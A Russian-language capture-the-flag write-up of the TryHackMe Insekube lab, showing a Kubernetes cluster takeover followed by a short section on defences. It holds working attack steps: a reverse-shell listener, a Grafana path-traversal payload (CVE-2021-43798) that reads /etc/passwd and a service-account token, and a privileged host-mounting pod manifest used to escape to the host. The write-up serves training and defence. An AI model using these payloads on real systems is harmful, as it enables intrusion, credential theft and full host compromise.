Всем привет! В этой статье, на примере машины Insekube с TryHackme, я постараюсь показать каким образом могут быть захвачены кластера Kubernetes реальными злоумышленниками, а также рассмотрю возможные методы защиты от этого. Приятного прочтения!
Ищем точку входа
Расчехляем nmap:
nmap 10.10.221.142
Starting Nmap 7.60 ( https://nmap.org ) at 2022-06-07 17:08 BST
Nmap scan report for ip-10-10-221-142.eu-west-1.compute.internal (10.10.221.142)
Host is up (0.0015s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:BF:D5:06:FF:D9 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
Опираясь на название и описание тачки хотелось бы увидеть какие-нибудь порты Kubernetes, но видим торчащий наружу 80 порт. Окей, открываем адрес в браузере.
Пробуем подать какой-нибудь инпут и понимаем, что это обычный ping.
Судя по ответу, где-то исполняется реалная тулза ping. Тут же приходит идея проверить ввод на command injection
– действительно работает!
Недолго думая, прокидываем reverse shell и ловим бэк-коннект:
nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.221.142 57278 received!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)
Внутри контейнера
Отлично, мы внутри. Только вот внутри чего? Посмотрим переменные окружения. Видим хорошо знакомые значения для Kubernetes – отсюда делаем вывод: мы внутри Pod! Из env забираем первый флаг.
$ env
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
HOSTNAME=syringe-79b66d66d7-7mxhd
...
GRAFANA_SERVICE_HOST=10.108.133.228
GRAFANA_PORT=tcp://10.108.133.228:3000
Внутри самого Pod для нас мало чего интересного, но у него может быть привилегированный Service Account, который может дать нам больше возможностей – например создавать такие Pod, чтобы можно было сделать побег из контейнера и вырваться на хост. Для того чтобы это проверить нам нужен kubectl
. Посмотрим, есть ли он где нибудь в контейнере, вдруг не придется его скачивать его извне.
find / -name "kubectl"
find: '/etc/ssl/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/proc/tty/driver': Permission denied
/tmp/kubectl
Отлично! То что нам нужно. Кто-то бережно оставил kubectl для нас в директории /tmp
Проверим, достаточно ли у нас прав для создания нового Pod:
$ cd /tmp
$ ls
kubectl
$ ./kubectl auth can-i create pods
no
Да уж, не густо. Но смотреть Secrets мы можем. Там же лежит второй флаг. Будем искать другой вектор.
$ ./kubectl get secrets
NAME TYPE DATA
default-token-8bksk kubernetes.io/service-account-token 3
developer-token-74lck kubernetes.io/service-account-token 3
secretflag Opaque 1
syringe-token-g85mg kubernetes.io/service-account-token 3
Особо внимательные, при просмотре env, увидели, что там также хранятся переменные от Grafana – адрес и порт. Это значит, что она развернута в кластере и мы можем попробовать достучаться до неё из Pod! В контейнере также есть curl, который облегчит нам эту задачу. Пробуем постучаться на стандартный эндпоинт Grafana:
curl 10.108.133.228:3000/login
Получаем довольно большой ответ... Для начала неплохо было бы определить версию Grafana, может она устаревшая и для неё есть известные уязвимости. В начале ответа видим упоминание версии:
..."version":"8.3.0-beta2"...
По первой ссылке в гугле находим, что для этой версии присвоена CVE-2021-43798 – Grafana 8.x Path Traversal (Pre-Auth). Супер! Как нам это может быть полезно? Мы сможем прочитать Token, который относится к Service Account у Grafana Pod – он маунтится прямо внутрь контейнера. Если у этого Pod есть достаточно привилегированный Service Account, то мы сможем создать "Bad Pod" для побега на хост!
Формируем запрос с полезной нагрузкой, таким образом чтобы отработал path traversal. Не забываем выставить флаг --path-as-is
, чтобы curl не схлопывал наш пэйлоад:
curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../etc/passwd
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1230 100 1230 0 0 600k 0 --:--:-- --:--:-- --:--:-- 600k
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
Работает! Теперь указываем путь до Token (он лежит в /var/run/secrets/kubernetes.io/serviceaccount/token
) и сохраняем ответ:
curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1022 100 1022 0 0 499k 0 --:--:-- --:--:-- --:--:-- 499k
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg2MTU5NjAzLCJpYXQiOjE2NTQ2MjM2MDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZX
export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUt...
Ещё раз проверим возможность создавать Pod, на этот раз через новый Service Account:
$ ./kubectl auth can-i create pods --token=$TOKEN
yes
Отлично. Создаем "Bad Pod" для побега на хост:
cat <<EOF | ./kubectl create --token=$TOKEN -f -
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
EOF
Посмотрим, создался ли Pod:
$ ./kubectl get po --token=$TOKEN
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-pod 0/1 ErrImagePull 0 29s
grafana-57454c95cb-v4nrk 1/1 Running 10 (127d ago) 151d
syringe-79b66d66d7-7mxhd 1/1 Running 1 (127d ago) 127d
Но не всё так просто! Pod не запустился – не спуллился образ. Видимо кластер изолирован по сети. Но если образ уже ранее использовался и скачивался, то мы можем попытать удачу и выставить imagePullPolicy: IfNotPresent
...
containers:
- name: everything-allowed-pod
image: ubuntu
imagePullPolicy: IfNotPresent
...
На этот раз сработало. Заходим в Pod –> оказываемся на хосте –> находим последний флаг:
$ ./kubectl get po --token=$TOKEN
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-pod 1/1 Running 0 12s
grafana-57454c95cb-v4nrk 1/1 Running 10 (127d ago) 151d
syringe-79b66d66d7-7mxhd 1/1 Running 1 (127d ago) 127d
$ ./kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- bash
Unable to use a TTY - input is not a terminal or the right kind of file
id
uid=0(root) gid=0(root) groups=0(root)
Как этого можно было избежать?
Network Policy – сетевые политики смогли бы ограничить общение контейнеров по сети. Например можно написать такую политику, которая запретит стучаться из Pod с веб-приложением в Pod с Grafana
Policy engine – имея правило на запрет создания привилегированных Pod, от Kyverno или Gatekeeper, у злоумышленника и вовсе не получилось бы сбежать на хост. Запрос не прошел бы через webhook
Runtime observability & security – знание и полная видимость происходящего в кластере позволили бы заметить и остановить злоумышленника ещё в начале атаки
celebrate
Задачу кстати можно решить и без взлома Графаны. Там в секретах лежит секрет developer-token-74lck. Этот секрет содержит токен пользака developer, у которого cluster-admin. Дальше все аналогично.